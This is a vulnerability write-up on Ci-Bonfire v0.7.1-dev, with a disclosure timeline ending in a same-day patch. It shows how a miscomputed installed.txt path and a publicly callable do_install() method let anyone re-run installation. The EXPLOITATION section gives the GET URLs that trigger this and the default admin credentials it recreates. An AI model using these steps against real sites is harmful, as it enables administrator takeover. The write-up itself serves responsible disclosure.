Ci-Bonefire v0.7.1-dev Reinstall Admin Account Vulnerability Analysis & Exploit

Hello

Ci-Bonefire is another Codeigniter based-on open source application. I’ve been analyzing application which based-on codeigniter  since I found some weakness of Codeigniter. This write-up we will see that what can cause failure of code design.

Bonefire Installer index()

When you’ve done installation of Bonefire, it will create installed.txt file under the application/config instead of delete installer files. I will check out installed.txt file when you try to call installer again.

Following codes belongs to installer controller.

public function index()
    {
        $this->lang->load('install');
        $this->load->library('installer_lib');
    
        if (!$this->installer_lib->is_installed())
        {
            //$this->do_install();
    
            $data = array();

            // PHP Version Check
            $data['php_min_version']    = '5.3';
            $data['php_acceptable']     = $this->installer_lib->php_acceptable($data['php_min_version']);
            $data['php_version']        = $this->installer_lib->php_version;
    
            // Curl Enabled?
            $data['curl_enabled']       = $this->installer_lib->cURL_enabled();
    
            // Files/Folders writeable?
            $data['folders']            = $this->installer_lib->check_folders();
            $data['files']              = $this->installer_lib->check_files();
    
            Template::set($data);
            //Template::set('content', $this->load->view('home/install_status', $data, true));
        }
        else
        {
            $this->load->library('users/auth');
            $this->load->library('settings/settings_lib');
        }
    
        Template::render();
    }

Installer controller tries to check out that installation has been done before or not ? In order to do that controller calls $this->installer_lib->is_installed() method.

public function is_installed()
    {
        // First check - Does a 'install/installed.txt' file exist? If so,
        // then we've likely already installed.
        if (is_file(APPPATH . 'config/installed.txt'))
        {
            return true;
        }
    
        // Does the database config exist?
        // If not, then we definitely haven't installed yet.
        if (!is_file(APPPATH . 'config/development/database.php'))
        {
            return false;
        }
    
        require(APPPATH . '/config/development/database.php');
    
        // If the $db['default'] doesn't exist then we can't
        // load our database.
        if (!isset($db) || !isset($db['default']))
        {
            $this->db_settings_exist = FALSE;
            return false;
        }

is_installed function checks out installed.txt via following codes.

is_file(APPPATH . 'config/installed.txt')

APPATH returns ../application/ . That means Bonfire tries to check out ../application/config/installed.txt.

But locate path of installer_lib.php is Bonfire-master/bonfire/libraries/installer_lib.php

Local path of installed.txt file is Bonfire-master/application/config/installed.txt.

So when installer_lib.php try to check out installed.txt via above coded, it actually try to check out that path = Bonfire-master/bonfire/libraries/../application/installed.txt

As you see, it try to reach wrong path! Consequently, this codes always returns FALSE!

Bonefire Installer do_install()

index() method of installer is not responsible to start installation process. Initialization of install process has been taking care of by do_install() method.

public function do_install()
{
    $this->load->library('installer_lib');
    $this->lang->load('install');

    // Does the database table even exist?
    if ($this->installer_lib->db_settings_exist === FALSE)
    {
        show_error( lang('in_need_db_settings') );
    }

    // Run our migrations
    $this->load->library('migrations/migrations');

    if ($this->installer_lib->setup())
    {
        define('BF_DID_INSTALL', true);

        // Log anonymous statistics
        $this->statistics();
    }

    Template::render();
}

First trouble that we realized is do_install() is public method of controller and does not check out installation has been done before. As an attacker we can easily call that method via HTTP GET request. But we’ve learned that even do_install check out installation has been done or not, we could bypass it anyway because of failed local path definition.

public function setup()
{
    /*
        Install default info into our database.

        This happens by running the app, core and module-specific migrations.
    */

    // use the entered Database settings to connect before calling the Migrations
    $this->ci->load->database();

    //
    // Now install the database tables.
    //
    $this->ci->load->library('Migrations', array('migrations_path' => BFPATH .'migrations'));

    // Core Migrations - this is all that is needed for Bonfire install.
    if (!$this->ci->migrations->install())
    {
        return $this->ci->migrations->error;
    }

    /*
        Save the information to the settings table
    */

    $settings = array(
        'site.title'	=> 'My Bonfire',
        'site.system_email'	=> 'admin@mybonfire.com',
        'updates.do_check' => 0,
        'updates.bleeding_edge' => 0
    );

    foreach	($settings as $key => $value)
    {
        $setting_rec = array('name' => $key, 'module' => 'core', 'value' => $value);

        $this->ci->db->where('name', $key);
        if ($this->ci->db->update('settings', $setting_rec) == false)
        {
            return lang('in_db_settings_error');
        }
    }

    // update the emailer sender_email
    $setting_rec = array('name' => 'sender_email', 'module' => 'email', 'value' => '');

    $this->ci->db->where('name', 'sender_email');
    if ($this->ci->db->update('settings', $setting_rec) == false)
    {
        return lang('in_db_settings_error');
    }

    //
    // Install the user in the users table so they can actually login.
    //
    $data = array(
        'role_id'	=> 1,
        'email'		=> 'admin@mybonfire.com',
        'username'	=> 'admin',
        'active'    => 1,
    );

    // As of 0.7, we've switched to using phpass for password encryption...
    require (BFPATH .'modules/users/libraries/PasswordHash.php' );

    $iterations	= $this->ci->config->item('password_iterations');
    $hasher = new PasswordHash($iterations, false);

    $password = $hasher->HashPassword('password');

    $data['password_hash'] = $password;
    $data['password_iterations'] = $iterations;
    $data['created_on'] = date('Y-m-d H:i:s');
    $data['display_name'] = $data['username'];

    if ($this->ci->db->insert('users', $data) == false)
    {
        $this->errors = lang('in_db_account_error');
        return false;
    }

    // Create a unique encryption key
    $this->ci->load->helper('string');
    $key = random_string('unique', 40);

    $config_array = array('encryption_key' => $key);

    $this->ci->load->helper('config_file');
    write_config('config', $config_array, '', APPPATH);

    /*
        Run custom migrations last.  In particular this comes after
        the core migrations, and after we've populated the user table.
     */

    // get the list of custom modules in the main application
    $module_list = $this->get_module_versions();

    if (is_array($module_list) && count($module_list))
    {
        foreach($module_list as $module_name => $module_detail)
        {
            // install the migrations for the custom modules
            if (!$this->ci->migrations->install($module_name.'_'))
            {
                return $this->ci->migrations->error;
            }
        }
    }

    // Write a file to /public/install/installed.txt as a simpler
    // check whether it's installed, so developing doesn't require
    // us to remove the install folder.
    $filename = APPPATH .'config/installed.txt';

    $msg = 'Installed On: '. date('r') ."\n";
    $this->ci->load->helper('file');
    write_file($filename, $msg);

    // We made it to the end, so we're good to go!
    return true;
}

Line 10 : Load database.

Line 55 : Create default administrator via following information.

email : admin@mybonefire.com

username : admin

password : password (Defined by Line 70 )

and other stuff.

EXPLOITATION

In order to gain administrator rights, we need to call do_install() method of installer controller. Calling do_install is really easy!

# IF re_write disabled
www.target.com/index.php/install/do_install

# IF re_write enabled
www.target.com/install/do_install

Bonefire will response for that request like following screenshot.

bonefire

Now we are able to login via following credentials = > 

Username : admin@mybonefire.com 

password : password

 TIMELINE

21 Apr 2014 14:00 – Vulnerability found.

23 Apr 2014 21:20 – Analysis and write-up completed.

23 Apr 2014 21:29 – First contact with lead developer of Bonfire

23 Apr 2014 21:33 – Response from lead developer.

23 Apr 2014 21:52 – Vulnerability confirmed by lead developer.

23 Apr 2014 22:55 – Vulnerability has been patched via following commit.
https://github.com/ci-bonfire/Bonfire/commit/9cb76c66babf89952c3d48279b026c59e198f46e